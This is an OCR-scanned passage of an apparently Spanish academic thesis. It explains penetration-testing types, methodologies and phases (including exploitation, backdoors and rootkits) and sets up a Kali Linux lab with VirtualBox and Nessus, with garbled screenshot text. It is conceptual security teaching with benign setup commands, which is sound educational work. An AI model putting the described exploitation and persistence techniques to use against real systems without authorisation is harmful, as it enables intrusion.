informacion que poseen, como por ejemplo abrir archivos y paginas web con
contenido malicioso con la intenciébn de ganar acceso a sus sistemas y revelar

informacion sensible.

Por otro lado cada tipo de prueba también esta clasificado de acuerdo al nivel de
informacion que se conoce acerca del objetivo a ser probado. Las pruebas de
intrusibn mas comunmente aceptadas son las pruebas de caja negra (B/ack- Box), las
pruebas de caja blanca (White-Box) y las pruebas de caja gris (Gray-Box), las cuales

se describen a continuacion [7].

2.3.5 Prueba de caja negra

En este tipo de pruebas se cuenta con poca o ninguna informacién sobre el objetivo.
Un ejemplo de este escenario es cuando se realiza una prueba de intrusion de red en
la cual no se tiene informacién sobre zonas desmilitarizadas (OMZ2), sistemas
operativos, version de servidores, entre otras. Esta se realiza solo con el detalle de
una direccién web o rangos de direcciones IP proporcionados al penetration tester.

En el caso de una prueba de intrusion de aplicacion web, el cédigo fuente de la
aplicaciébn web no es proporcionado. Este es un escenario muy comun cuando se
realiza una prueba de intrusion externa. Asi mismo simula un ataque externo hacia el

sitio web o hacia la red de la organizacion realizada por un delincuente informatico.
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2.3.6 Prueba de caja blanca

En este tipo de pruebas se cuenta con toda o casi toda la informacion sobre el
objetivo, es decir, el equipo de pruebas o el pentester tiene acceso para evaluar las
redes y ha sido dotado de diagramas de la red y detalles sobre el hardware, sistemas
operativos, aplicaciones, entre otra informacion antes de realizar las pruebas. Esto no
iguala a una prueba sin conocimiento, pero puede acelerar el proceso en gran
magnitud con el propdésito de obtener resultados mas precisos. La cantidad de
conocimiento previo conduce a realizar las pruebas contra sistemas operativos
especificos, aplicaciones y dispositivos de red que residen en la red, en lugar de
invertir tiempo enumerando lo que podria posiblemente estar en la red. Este
escenario es muy comun en las pruebas de intrusion internas, ya que las
organizaciones estan preocupadas por la fuga de informacion.

Este tipo de prueba equipara una situacion donde el atacante puede tener

conocimiento completo de la red interna.

2.3.7 Prueba de caja gris

En una prueba de caja gris, se conoce informacion del objetivo pero no toda ya que
algunos datos permanecen ocultos. En el caso de una prueba de intrusién de red, la
organizacion proporciona los nombres de las aplicaciones que se ejecutan detras de
una IP; sin embargo, no da a conocer la version exacta de los servicios en ejecucion.
El equipo de pruebas simula un ataque realizado por un miembro de la organizacion
inconforme o descontento. El equipo de pruebas debe ser dotado con los privilegios
adecuados a nivel de usuario y una cuenta de usuario, ademas de permitirle acceso a

la red interna.

2.4 Evaluacion de vulnerabilidades y pruebas de intrusion

A menudo, una evaluacién de vulnerabilidades se confunde con una prueba de
intrusion; sin embargo, estos términos tienen significados completamente diferentes.
En una evaluacion de vulnerabilidad, la meta es descubrir todas las vulnerabilidades
existentes en los activos y sus medidas de proteccion para documentarlas y darles

seguimiento. Sin embargo, en una prueba de intrusidén, tenemos que actuar como lo
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haria un atacante en la busqueda de vulnerabilidades en nuestros activos para su
posterior explotacion.

Es decir, la principal diferencia entre una evaluacion de vulnerabilidades y una prueba
de intrusion, radica en que las pruebas de intrusion van mas alla del nivel de
anicamente identificar vulnerabilidades, y van hacia el proceso de su explotacion,
escalar privilegios, y mantener el acceso en el sistema objetivo (o que las hace mas
intrusivas y agresivas). Mientras que la evaluacion de vulnerabilidades proporciona
una amplia vision de las fallas existentes en los sistemas, pero sin medir el impacto

real de estas para los sistemas en consideracion, por lo que las hace no invasivas [8].

2.5 Metodologias para la realizacion de pruebas de intrusion
En la actualidad existen metodologias formales para conducir pruebas de intrusion
sobre un gran namero de sistemas, las cuales han sido desarrolladas por institutos y
organizaciones reconocidas internacionalmente en el campo de la seguridad de la
informacion. Estas metodologias ofrecen una guia para realizar diferentes pruebas,
establecer los requerimientos de cada prueba y documentar la evidencia recolectada.
En general, se distinguen dos tipos importantes de metodologias de pruebas de
intrusion:

1. Metodologias privadas.

2. Metodologias de codigo abierto y publicas.
La seleccion de una metodologia depende del contexto de la organizacion, de los

requerimientos de seguridad y de los recursos y presupuesto disponibles.

2.5.1 Metodologias privadas

Estas metodologias son propuestas por empresas Yy organizaciones privadas
dedicadas a la consultoria y venta de tecnologia en el area de seguridad. Algunas de
ellas ofrecen también certificaciones para especialistas en sus productos y servicios.
Algunas de estas organizaciones tienen también algunas metodologias que se
mantienen confidenciales. Ejemplos de algunas metodologias de este tipo son las de
IBM, Foundstone y EC-Council LPT [6].
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2.5.2 Metodologias de cbédigo abierto y publicas

Existe una amplia gama de metodologias que estan a disposicion del publico, algunas

de las cuales se encuentran en linea. Es importante mencionar que el hecho de que

estas metodologias sean abiertas, no significa que no sean utiles en la realizacion

profesional de pruebas de intrusibn. Mas bien, su caracter publico se debe a la

intencion original dispuesta por los organismos que las desarrollan, algunos de los

cuales poseen un alto reconocimiento entre la comunidad internacional de la

seguridad de la informacion. Entre las principales metodologias se enumeran las

siguientes:

Open Source Security Testing Methodology Manual (OSSTMM) [9].

The Penetration Testing Execution Standard (PTES) [10].

Open Web Application Security Project (OWASP) Testing Guide [11].

NIST - Technical Guide to Information Security Testing and Assessment (SP

800-115) [12].

2.6 Fases de una prueba de intrusién

Las fases genéricas [5] usadas comunmente en la realizacion de pruebas de intrusion

se presentan en la figura 6.

1. Reconocimiento

\ 2. Escaneo de N
puertos y de ‘ N 3. Explotacion
vulnerabilidades '

N
4. Post explotacion

5. Reporte o preservacion del
‘ acceso

Figura 6. Procedimiento de una prueba de intrusion.
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2.6.1 Reconocimiento o recopilacion de informacion

Esta fase se centra en el intento de recolectar toda la informacién posible sobre el
objetivo usando fuentes de acceso publico tales como internet, observacion de
habitos de la empresa o inclusive la basura que deshecha. A través de Internet es
posible conocer direcciones IP, posibles nombres de usuarios, informacién de
contacto, tecnologia y configuraciones utilizadas, documentos, perfiles de puestos y
otra informacion relevante. Observando los habitos del personal de la empresa es
posible conocer sus nombres, puestos y circulos sociales. Buscando en los
documentos que desechan las empresas, es posible conocer informacion relevante y
datos importantes impresos y aparentemente destruidos.

Durante esta fase cada fragmento de informacioén obtenida es importante y no debe
ser subestimada ya que se debe tener en consideracién que la recoleccion de una
mayor cantidad de informacidén, generara una mayor probabilidad para un ataque
satisfactorio. Esta etapa se realiza por lo general en forma pasiva, sin entrar en
contacto directamente con los activos o personal de la empresa y su objetivo es

reunir la mayor cantidad de informacion que facilite el resto del procedimiento.

2.6.2 Escaneo o exploracion

En esta fase, el penetration tester utiliza la informacién obtenida en la fase anterior
sobre los empleados, contratistas y sistemas de informacién para comenzar a
expandir la vision de las estructuras del sistema de informacion fisica y logica dentro
de la organizacion.

El enfoque principal de la fase de exploracibn es para determinar informacion
especifica acerca del o los objetivos usando comunmente herramientas
automatizadas. A lo largo de esta fase, la atencion se centra en la basqueda de hosts
activos, determinar los tipos de nodos (computadora de escritorio, laptop, servidor y
demas dispositivos de red), el sistema operativo, los servicios publicos ofrecidos
(aplicaciones web, SMTP, FTP, entre otros), asi como también posibles
vulnerabilidades.

Para realizar dichas tareas, esta fase se puede dividir en las siguientes etapas:

e Determinar si un sistema esta en actividad enviando paquetes ping.
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e Escanear los puertos de los sistemas utilizando herramientas de software tales
como Nmap.
e Escanear los sistemas en busca de vulnerabilidades utilizando herramientas de
software tales como Nessus, OpenVAS o alguna otra.
El objetivo de esta fase es tener una lista de posibles puntos de acceso hacia el
interior del objetivo, identificando el nimero de hosts activos, su configuracion,
sistemas operativos, puertos abiertos y vulnerabilidades especificas del hardware y

software.

2.6.3 Explotacién

Esta fase dependera totalmente de los resultados obtenidos en las etapas anteriores,
por lo que cada prueba serd diferente de acuerdo a los servicios existentes y las
vulnerabilidades presentes. En términos simples, la explotacion es el proceso de
obtener el control de un sistema. Sin embargo, es importante entender que no todas
las pruebas conducen por igual al compromiso total del sistema.

En esta fase es muy comun el uso de exploits, los cuales son pequefios programas
ejecutables en la forma de scripts, disponibles en grandes bases de datos de acceso
libre. Un exploit estd programado para sacar provecho de una falla de seguridad para
eludir los controles y contramedidas. Cada exploit estd disefiado para explotar
determinados problemas o errores (bugs) en el cédigo de las aplicaciones o de los
sistemas operativos, dando a los hackers la posibilidad de iniciar o ejecutar una carga
atil (payload) la cual es codigo malicioso que permite ejecutar acciones adicionales en
el sistema objetivo. El contenido de los exploits en conjunto con los payloads pueden
alterar la funcionalidad original del software y permitirnos hacer cualquier cantidad de
cosas como instalar nuevo software, deshabilitar servicios en ejecucion, afadir

nuevos usuarios en el sistema comprometido y mucho mas.

En esta etapa se pueden realizar distintas acciones como resultado de la explotacion,

por mencionar algunas:

» Copiar archivos hacia el objetivo

» Copiar archivos desde el objetivo
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» Reconfigurar el objetivo

e Instalar software

e Tomar control total

« Causar negacion de servicio

e Usar un objetivo para llegar a otro

» Obtener contrasefias
Existe una vasta cantidad de herramientas para explotar vulnerabilidades, desde
exploits independientes hasta herramientas especializadas para el desarrollo y la
ejecucion de exploits contra sistemas objetivos. Una de las herramientas mas
utilizadas es Metasploit framework, la cual contiene cientos de exploits aplicables a
distintos sistemas operativos, a distintos servicios y a distintas versiones, asi mismo

contiene varios tipos de interfaces que facilitan la ejecucion.

2.6.4 Post explotacion o preservacion del acceso

En esta fase, el objetivo principal es hacer que los equipos explotados estén
accesibles al intruso en cualquier momento. Después de explotar las vulnerabilidades
y escalar privilegios en los equipos vulnerados, la siguiente fase consiste en crear un
mecanismo para mantener el acceso en los equipos de destino comprometidos en la
fase anterior. Por lo tanto, en el futuro, si la vulnerabilidad que fue explotada
consigue ser corregida, todavia se pueda acceder al sistema. Es posible que sea
necesario consultar con el cliente o duefios de los activos, acerca de esta fase, antes
de realizar dicha accidon en sus sistemas ya que la mayoria de la gente se muestra
preocupada por el hecho de que el mecanismo utilizado para preservar el acceso sea
descubierto y utilizado por algun tercero no autorizado.

Algunos de los mecanismos utilizados para preservar el acceso consisten en instalar
backdoors y rootkits los cuales se explican mas adelante.

En el caso especifico de un exploit, su existencia es temporal, pues trabaja y
proporciona acceso sélo mientras el equipo que fue explotado o comprometido se
encuentra encendido. A menudo, cuando se reinicia el equipo de destino o el proceso
de explotacion se detiene, se perdera el acceso remoto inicial. Como resultado de

esto, la siguiente tarea a completar cuando se gana acceso a un sistema, es migrar el
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acceso remoto a un lugar mas permanente. Esto se suele hacer a través de la
instalacién de backdoors las cuales se explican a continuacion.

En el sentido mas simple, una puerta trasera o backdoor, es una pieza de software
que reside en el equipo vulnerado y permite al atacante volver y conectarse en la
maquina en cualquier momento. En la mayoria de los casos, la backdoor es un
proceso que se ejecuta en la maquina de destino y normalmente permite que un
usuario no autorizado controle la computadora personal. Por otro lado, las backdoors
bien podrian implementarse instalando rootkits en el sistema operativo del equipo.
Los rootkits son un tipo especial de software los cuales se incrustan profundamente
en el sistema operativo y realizan una serie de tareas, incluyendo la de proporcionar

a un intruso la capacidad de esconder procesos y programas.

2.6.5 Reporte

La etapa final y tal vez la mas importante, es la elaboracion del reporte de hallazgos,
ya que es en esta fase donde se comunica con detalle lo que se hizo, como se hizo y
como la organizacion puede aprovechar esta informacion para mitigar las
vulnerabilidades detectadas durante el andlisis. Por esta razon, es muy importante
cuidar la calidad de la documentacion de las pruebas de intrusion realizadas.

El formato de un reporte puede ser muy variable, pero puede definirse un formato
genérico para redactarlo.

Es recomendable presentar la documentaciéon de manera jerarquica, ya que tomando
como hecho que todas las vulnerabilidades deben ser eliminadas, existen algunas que
pueden representar mayor impacto a la organizacion, por lo que es prioritaria la
solucion inmediata. Finalmente, es importante mencionar que resulta imprescindible
la elaboracién de una bitacora donde se registre el historial de los problemas de
seguridad que se han detectado, lo cual tendra un gran valor en la solucion de

problemas de seguridad en el futuro.

Para concluir una vez expuesta la base tedrica, se explica a continuacion el alcance

del laboratorio virtual en cuanto a las pruebas de intrusién que se realizardn en éste.
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Se pretende someter el laboratorio virtual a pruebas de intrusién de red interna
desde una perspectiva de caja gris.

Debido a que la red del laboratorio virtual esta aislada de internet por motivos de
seguridad, éste no expone informacién publicamente accesible en la web por lo que
no se contempla llevar a cabo la fase de reconocimiento o recopilacion de
informacion dentro del mismo.

Para la fase de escaneo o exploracion se contempla mapear la red y sus
vulnerabilidades mas importantes con la ayuda de algunas de las herramientas mas
utilizadas.

Para la fase de explotacion se contempla atacar y comprometer los activos del
laboratorio virtual para demostrar el uso de las herramientas utilizadas en esta fase.
Debido a que esta etapa puede ser demasiado extensa, solamente se contempla
demostrar de forma manual y paso a paso como se explota una vulnerabilidad en
particular descubierta en uno de los equipos del laboratorio mediante la seleccion y el
uso del exploit y payload adecuados. Por otro lado también se contempla atacar los
activos del laboratorio virtual para explotar varias de sus vulnerabilidades mediante el
uso de una herramienta automatizada.

Debido a que las pruebas de intrusién suelen ser muy extensas, para la fase de post
explotacion o preservacion del acceso solamente se explicara la instalacion de
backdoors en alguno de los activos del laboratorio virtual.

Finalmente se contempla documentar los resultados obtenidos de las pruebas de

intrusion realizadas al laboratorio virtual mediante un reporte.
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3.1 ¢Qué es Kali Linux?

Kali Linux o simplemente Kali, es una distribucién para el sistema operativo Linux
desarrollada especificamente para pruebas de intrusién y auditorias de seguridad. En
un principio, Kali era conocida como BackTrack, la cual a su vez era una fusion de
tres distribuciones de Linux para pruebas de intrusién: IWHAX, WHOPPIX y Auditor.
BackTrack fue en su momento una de las distribuciones Linux mas famosas, como se
puede comprobar por el nUmero de descargas que llegdb a mas de 4 millones en su
version BackTrack Linux 4.0 final. La version 1.0 de Kali Linux fue lanzada el 12 de
Marzo de 2013. Cinco dias después, la version 1.0.1 fue lanzada, en la cual se
solucionaron problemas relacionados con los controladores de teclado USB. En esos

cinco dias, Kali tuvo méas de 90,000 descargas [8].

3.2 Caracteristicas de Kali Linux

Algunas de las caracteristicas de Kali Linux son las siguientes [13]:

e Esta basada en la distribucion Debian Linux.

e Cuenta con mas de 300 herramientas para pruebas de intrusion.

e Es un software de codigo abierto y su distribucion es gratuita.

e Cuenta con un amplio soporte para dispositivos inalambricos.

e Tiene un nucleo o kernel personalizado para la inyeccion de paquetes.

e El equipo de Kali Linux esta compuesto por un pequefio grupo de personas de
confianza que so6lo puede comprometer e interactuar con los paquetes de los
repositorios, haciendo uso de multiples protocolos seguros.

e Los usuarios pueden personalizar Kali Linux para satisfacer sus necesidades.

e Es compatible con los dispositivos basados en ARM (RK3306 MK/SS808,
Raspberry Pi, ODROID U2/X2, MK802/MK802 Il, Samsung Chromebook).

3.3 Categorias de las herramientas de Kali Linux
Kali Linux contiene un conjunto de herramientas de gran utilidad a lo largo de todo el
proceso de las pruebas de intrusion. Estas herramientas se pueden clasificar en las

siguientes categorias.
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Recopilacion de informaciodn: Esta categoria contiene varias herramientas
gue pueden ser utilizadas para recopilar informacion acerca de DNS, IDS/IPS,
escaneado en red, sistemas operativos, encaminamiento, SSL, SMB, VPN, voz
sobre IP, SNMP, direcciones de correo electronico y analisis de trafico.
Andlisis de vulnerabilidades: En esta categoria, se pueden encontrar
herramientas para escanear vulnerabilidades en general. También contiene
herramientas para evaluar redes basadas en tecnologia de Cisco y
herramientas para evaluar bases de datos. Esta categoria también incluye
varias herramientas para fuzzing, las cuales son técnicas de testeo de software
capaces de generar y enviar datos secuenciales o aleatorios a una o varias
areas o puntos de una aplicacion, con el objeto de detectar defectos o
vulnerabilidades existentes en el software auditado [14].

Aplicaciones web: Esta categoria contiene las herramientas relacionadas con
las aplicaciones web tales como escaneres de vulnerabilidades web, la
explotacién de bases de datos, fuzzers (inyectores de falta o de fallas) para
aplicaciones web, aplicaciones Proxy, identificacion de IDS/IPS e indexadores
web.

Ataques de contrasefias: Esta categoria contiene varias herramientas que
pueden ser utilizadas para realizar ataques de contrasefia, con conexion o sin
conexion.

Herramientas de explotacion: Esta categoria contiene herramientas que se
pueden utilizar para explotar las vulnerabilidades encontradas en el entorno de
destino. Se pueden encontrar herramientas para la explotacion de la red, web,
bases de datos de exploits, ataques Cisco y herramientas para el desarrollo de
exploits. También cuenta con una herramienta para realizar ataques de
ingenieria social la cual consiste en manipular a una persona a través de
técnicas psicoldgicas y habilidades sociales con el fin de obtener informacion,
el acceso a un sistema o la ejecucion de una actividad mas elaborada (como el

robo de un activo), pudiendo ser o no del interés de la persona objetivo [15];
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en la mayoria de los casos el atacante no se encuentra cara a cara con la
victima.

e Herramientas para husmear y envenenar en la red: Las herramientas de
esta categoria pueden ser usadas para husmear o analizar la web y el trafico
de Internet. Esta categoria también incluye herramientas para el
envenenamiento de redes mediante suplantacion de identidad (spoofing) que
consiste en hacerse pasar por otro dispositivo o usuario de la red con el fin de
lanzar ataques contra las maquinas de la red, robar datos, instalar malware o
evadir los controles de acceso [16].

e Herramientas para mantener el acceso: Las herramientas de esta
categoria pueden ayudar a mantener el acceso a la maquina de destino. Aqui
se pueden encontrar herramientas para abrir puertas traseras (backdooring)
en el sistema operativo y en aplicaciones web. También se pueden encontrar
herramientas para funneling, que consiste en realizar enlaces virtuales punto a
punto entre la maquina del atacante y la maquina victima mediante el
encapsulamiento de un protocolo de red dentro de otro protocolo de red con el
fin de evadir la proteccion del sistema objetivo, que comUnmente consiste de
un firewall [8].

e Herramientas de reporte: En esta categoria, se encuentran herramientas
gue ayudan a documentar el proceso de las pruebas de intrusion y los
resultados.

e Servicios del sistema: Esta categoria contiene varios servicios que pueden
ser Utiles durante las pruebas de intrusion, como por ejemplo el servicio HTTP
de Apache, el servicio MySQL para bases de datos, el servicio SSH, y el servicio

de Metasploit.

Como se muestra en la figura 7, Kali Linux también ofrece herramientas adicionales
para la realizacion de pruebas mas especializadas tales como las siguientes.
e Ataques wireless: Esta categoria incluye herramientas para atacar

dispositivos Bluetooth, RFID / NFC, y dispositivos inalambricos 802.11.
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e Ingenieria inversa: Esta categoria contiene herramientas que se pueden
utilizar para depurar un programa o desensamblar un archivo ejecutable.

e Pruebas de estrés: Esta categoria contiene herramientas que se pueden
utilizar para realizar pruebas de estrés en redes WLAN, web y también para
VolIP.

e Hackeo de hardware: Las herramientas en esta categoria se pueden usar si
se desea trabajar con Android y Arduino.

e Forensia: En esta categoria se encuentran varias herramientas que pueden
ser utilizadas para realizar analisis forense digital, en imagenes, contrasefias,
archivos PDF, antivirus, RAM; herramientas forenses de recuperacion y

también para realizar analisis forense en redes.
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Figura 7. Herramientas de Kali Linux.

Por ultimo, como una mejora adicional, Kali Linux proporciona una categoria llamada
Top 10 Security Tools, con las 10 herramientas de seguridad mas utilizadas por los

penetration testers profesionales. Las herramientas que se incluyen en esta categoria
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son Aircrack-ng, Burpsuite, Hydra, John, Maltego, Metasploit Framework, Nmap,

Owasp-zap, Sqlmap y Wireshark.

3.4 Proceso de instalacion de Kali Linux en una maquina virtual

3.4.1 Ventajas del uso de un entorno virtual
El uso de un entorno virtual para la realizacion de pruebas de intrusion tiene

importantes ventajas, entre las cuales se pueden mencionar las siguientes.

e Una prueba comudn con maquinas virtuales puede ser desarrollada y
mantenida, asegurando que los probadores estén familiarizados con el
conjunto de herramientas y su impacto en los sistemas de destino tipicos.

e Las maquinas virtuales facilitan una rdpida conmutacion entre los sistemas
operativos anfitrion (host) e invitados, lo que permite al probador moverse
entre las plataformas Windows y Linux con el fin de encontrar la combinacion
Optima de las herramientas para la prueba.

e Las maquinas virtuales son moviles, estas se pueden mover a diferentes
sistemas y plataformas operativas.

e Las maquinas virtuales se pueden archivar en una biblioteca para facilitar
pruebas de regresion. Después de que un conjunto de herramientas se ha
utilizado para validar la seguridad de una red o sistema, los probadores se
preguntan a menudo si su metodologia y herramientas habrian detectado una
vulnerabilidad en particular presente en el momento de la prueba. De este
modo los probadores pueden regresar atras y volver a probar la vulnerabilidad
mediante la VM archivada para determinar si habria sido detectada o si la red

se encontraba en riesgo de ataques.

Aungue existen maquinas virtuales preconfiguradas disponibles para su descarga,
una buena préctica para los penetration testers es crear y configurar su propia
maquina virtual usando imagenes ISO validadas. Para la implementacion del

laboratorio virtual para pruebas de intrusion descrito en este trabajo, se utilizara el
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hypervisor VirtualBox de Oracle, aunque Kali Linux también es compatible con el

hypervisor VMWare.

3.4.2 Creacion de la maquina virtual usando VirtualBox
Una vez instalado el software de VirtualBox, usando el mend de herramientas del

hypervisor mostrado en la figura 8, se crea una nueva maquina virtual.

!,u" Oracle VM VirtualBox Administrador LEIE"‘I_-?‘J
Archive  Maquina  Ayuda
rAA (\l‘l
{w.} f{qf,}l é; [E Instantaneas

Mueva | Configuracion Iniciar Descartar

Figura 8. Men( de opciones de VM VirtualBox.

Posteriormente se elige el nombre descriptivo para la nueva maquina virtual, el cual
sera en este caso Kali Linux, Linux como sistema operativo y Debian como la version

del mismo, como se muestra en la figura 9.

B |

'.\_/J Crear maquina virtual

Nombre y sistema operativo

Seleccone un nombre descriptivo para la nueva maquina virtual y
seleccione el tipo de sistema operativo que tiene intencidn de instalar
en ella. El nombre que selecdone serd usado por VirtualBox para
identificar esta maquina.

Mombre:  Kali Linux
Tipa: [Linux v] F’@
Versién: [Debian (64 bit) -] =

[Dcultar descripcirin] [ Mext J [ Cancelar ]

Figura 9: Seleccién del sistema operativo para la maquina virtual.

Kali Linux exige un minimo de 512 MB de memoria RAM, pero para lograr un

desempefio aceptable se le asigna 1 GB de RAM (figura 10).
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R
@ Crear maquina virtual

Tamafio de memaoria

Seleccione la cantidad de memoria (RAM) en megabytes a ser
reservada para la maguina virtual,

El tamafio de memoria recomendado es 512 MB,
U 1024 = MB

4MB 4096 MB

Figura 10: Seleccion del tamafio de memoria (RAM) para la maquina virtual.

En un sistema virtual, el sistema operativo huésped se almacena en un sistema de
archivos y no en una unidad de disco como en el caso del sistema operativo anfitrion.
Por esta razon, es necesario especificar el tipo de archivo sobre el cual se almacenara

el sistema operativo huésped, como se muestra en la figura 11.

b‘ Crear unidad de disco duro

Tipo de archivo de unidad de disco duro

Selecrione el tipo de archivo que le qustaria usar para la unidad de disco duro virtual, i
no necesita usarla con otro software de virtualizadon puede dejar esta preferendia sin
cambiar,

@ VDI (VirtualBox Disk Image)

1 WMDK (Virtual Machine Disk)

) WHD (Virtual Hard Disk)

) HDD (Parallels Hard Disk)

) QED (QEMU enhanced disk)

) QCOW (QEMU Copy-On-Write)

- —d

Figura 11. Seleccion del tipo de archivo de unidad de disco duro para la maquina virtual.

Al finalizar, el sistema muestra el resumen de los parametros de la maquina virtual

creada como se muestra en la figura 12.
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[ Almacenamiento

Controlador: IDE
IDE secundario maestro:  [CD/DVD] Vacio
Controlador: SATA

Puerto SATA 0: Kali Linux, vdi (Normal, 25,00 GB)
{5 Audio
Controlador de anfitridn:  Windows DirectSound
Controlador: ICH ACS7

vg Oracle VM VirtualBox Administrador -
Archive Maquina Ayuda
i o
St Ebf} ) Detalles | (@ Instanténeas
Nueva Configuradén Inidar Descarta
™I windows7 = General = Previsualizacién
@) Apagada
Nombre: Kali Linux
prueba Sistema operativo: Debian (64 bit)
L @ Apagada E| Sistema
= Memoria base: 1024 MB
d @ Orden de arranque: - Disquete, CB/DVD, Disco duro
IR | | Aceleradién: VT-x/AMD-Y, Paginacién anidada
Pantalla
Memoria de video: 12 MB
Servidor de escritorio remoto:  Inhabilitado
Captura de video: Inhabiitado

Figura 12. Resumen de parametros de la maquina virtual creada.

A continuacion se debe instalar y configurar el sistema operativo huésped. Para ello

es necesario descargar previamente una copia de la imagen ISO de Kali Linux desde

el sitio de descarga oficial (https://www.kali.org/downloads/).

3.4.3 Instalaciéon de Kali Linux

Para iniciar la instalacion se debe iniciar la maquina virtual creada previamente [17].

Inmediatamente aparece la pantalla del instalador en la cual
opcion Graphical Install para comenzar con la instalacién en

muestra en la figura 13.

Boot menu

(amd64)
(amd64 failsafe)

S (check kali.orgsprst)
USB Encrypted Persistence (check kali.org/prst)
11

h speech synthesis
Advanced options

Figura 13. Menu de arranque de Kali Linux

se debe seleccionar la

modo grafico como se


https://www.kali.org/downloads/
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Después de seleccionar el idioma deseado, el pais de localizacién y la configuracion
del teclado, el programa de instalacion copiara la imagen en el disco duro virtual,
probara las interfaces de red, y luego preguntara por el nombre de host, de dominio
y la contrasefia para el usuario root. En este caso se ha designado Ka// como el
nombre de host y kali.redesseguras.com como nombre de dominio.

En las figuras 14 y 15 se muestran dichas configuraciones.

Configurar la red

Por favor, introduzca el nombre de la maquina.

El nombre de maquina es una sola palabra que identifica el sistema en la red. Consulte al administrador

de red si no sabe qué nombre deberia tener. Si esta configurando una red doméstica puede inventarse
este nombre.

Nombre de la maquina:

(= ]

| =

-

Figura 14. Configuracién del nombre de la maquina

Configurar la red

El nombre de dominio es |la parte de su direccion de Internet a la derecha del nembre de sistema.
Habitualmente es algo que termina por .com, .net, .edu, o .org. Puede inventarselo si esta instalando
una red doméstica, pero asegdrese de utilizar el mismo nombre de dominio en todos sus ordenadores.
Nombre de dominio:

kali.redesse guras.com)|

Figura 15. Configuracion del nombre de dominio

Posteriormente se configura la zona horaria, el particionado del disco y por ultimo se
instala el cargador de arranque GRUB. Una vez que la instalacién se completo, se

reinicia la maquina virtual con la nueva instalacion de Kali Linux como se muestra en

la figura 16.
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[otre.

r
Sistema predeterminado v

“the quieter you become, the more you are able to hear”

B dmD| @R om s

Figura 16. Pantalla de inicio de Kali Linux

3.4.4 Actualizaciéon de paquetes y repositorios en Kali Linux

Para poder actualizar Kali Linux se debe configurar el archivo sources.list el cual debe
contener la lista con los repositorios desde donde el sistema descargard las
actualizaciones, dicho archivo se encuentra en /etc/apt/sources.list. Para modificar

dicho archivo se usa el siguiente comando:

root@kali:~# nano /etc/apt/sources.list

A continuacion se deben agregar al final del archivo sources.list las fuentes faltantes

como se muestra en la figura 17.

deb http://security.kali.org/ kali/updates main contrib non-free
src http: /ffsecurity.kali.org/ kali/updates main contrib non-free

deb http://http.kali.org/kali kali main non-free contrib
deb-src http://hattp.kali.org/kali main non-free contrib

Figura 17. Repositorios en Kali Linux

Después de guardar los cambios y salir, se procede a actualizar el sistema mediante

el siguiente comando:

root@kali:~# apt-get update && apt-get upgrade && apt-get dist-upgrade
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3.4.5 Instalacion de las Guest Additions de VirtualBox en Kali Linux

Con el fin de tener un apropiado funcionamiento del mouse y la integracién de
pantalla, asi como la capacidad de compartir carpetas con el sistema principal, sera
necesario instalar la herramienta Guest Additions de VirtualBox.

En la méaquina virtual de Kali Linux se debe ejecutar el siguiente comando para

actualizar Kali Linux asi como también para instalar las cabeceras del kernel de Linux.

apt-get update && apt-get install -y linux-headers-$(uname -r)

Una vez completado esto, se pueden adjuntar los Guest Additions CD-Rom. Esto
puede ser hecho seleccionando Dispositivos del menu de VirtualBox y seleccionando
Insertar la imagen de CD de las Guest Additions. Esto montard la 1SO GuestAdditions
al virtual CD Drive en la maquina virtual Kali Linux. Cuando se pida ejecutar el CD, se

debe seleccionar la opcidn Cancelar (figura 18).

VBOXADDITIONE,&B,LB,90510 1

\ Este soporte contiene software previsto para iniciarse
./ automiticamente. {Quiere ejecutarlo?

El software se ejecutara directamente desde el soporte
«VBOXADDITIONS_4.3.18_96516». Munca ejecute software del que desconfia.

Siduda, pulse Cancelar

Cancelar Ejecutar

Figura 18. VBox Additions

Desde una ventana de terminal, se copia el archivo VboxLinuxAdditions.run de Guest
Additions CD-Rom a la ruta en el sistema local, asegurandose que sea ejecutable y el
archivo pueda correr al iniciar la instalacion. Para realizar dicha tarea, se deben

ejecutar los siguientes comandos:

# cp /media/cdrom/VBoxLinuxAdditions.run /root/
# chmod 755 /root/VBoxLinuxAdditions.run

# cd /root

# ./VboxLinuxAdditions.run
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En la flgura 19 se puede observar el proceso de instalacion de las Guest Additions.

kali:;~# 1s
VBoxLlnuxnddltlons run
755 /root/VBoxLinuxAdditions.run
o]

t Additions for Linux............

modules ...done.

] s
Nt running kern ere not found. If the following
modulp compilation fails then this could be the reason.

Building the main Guest Additions module ...done.
Building the are der :upport module ..,done.
Building th
Joi .done.

t Additions ...done.
=] e Window System (or just restart
Additions.

ces components ...done.

!~#I

Figura 19. Proceso de instalacion de las Guest Additions

Después se debe reiniciar la maquina virtual de Kali Linux para completar la

instalacién de las Guest Additions.

3.4.6 Creacion de carpetas compartidas en el sistema principal

Para realizar el proceso de pruebas de intrusion, es necesario compartir carpetas del
sistema principal con la VM Kali Linux. Para conseguirlo, desde el administrador de
VirtualBox, se selecciona el enlace carpetas compartidas en el panel derecho de la
ventana para abrir la ventana para agregar carpetas.

Ademas de la ruta y el nombre de la carpeta a compartir, es muy importante habilitar

las opciones Automontary Hacer permanente como se muestra en la figura 20.
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= General Carpetas compartidas
m Sistema jo—
Pantalla M {3 Agregar carpeta compartida Iiléj
Automontar Acceso Ea
Almacenamiento
) Ruta carpeta: . C...\VBox_carpeta_compartida = L
Di Audio

@ Red Mombre carpeta:  VBox_carpeta_compartida

. 56lo lectura
@ Puertos serie O

ﬁ USE Automontar

Hacer permanente
P Carpetas compartidas

[ Aceptar ][ Cancelar

Aceptar H Cancelar H Ayuda ]

——— e ——
—

T
Minguno

@ Descripcién

Minguno il

Figura 20. Creacién de carpetas compartidas

Las carpetas compartidas creadas de esta forma pueden ser accedidas desde el
sistema de archivos de la maquina virtual en el directorio:
/media/sf_'nombredelacarpetacompartida’.

También es posible crear un marcador o un enlace para facilitar el acceso al

directorio.

3.4.7 Instalacion del escaner de vulnerabilidades Nessus

Para instalar Nessus primero se debe descargar la ultima versién del paquete
generado para la distribucion Debian 6 Linux desde el sitio web de Nessus
(http://www.tenable.com/products/nessus/select-your-operating-system).
Posteriormente, en Kali Linux se debe acceder al directorio en donde se tiene el

paquete descargado y comenzar con la instalacion, usando el siguiente comando:

dpkg -i Nessus-6.3.5-debian6_amd64.deb

La figura 21 muestra el proceso de instalacion de Nessus mediante la ejecucion del

comando antes mencionado.
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feT WBox_ carpeta_compartida# dpkg -i Nessus-6.3

cassing the b

[ R R B B B B R R R R R R R AR R R R B R R R RHR ]

ALl plugins loaded (lsec)

- You can start nessusd by typing fetc/init.d/nassusd start
- Then go to https: ali:g3B34/ to configure your scanner

Figura 21. Instalacion de Nessus

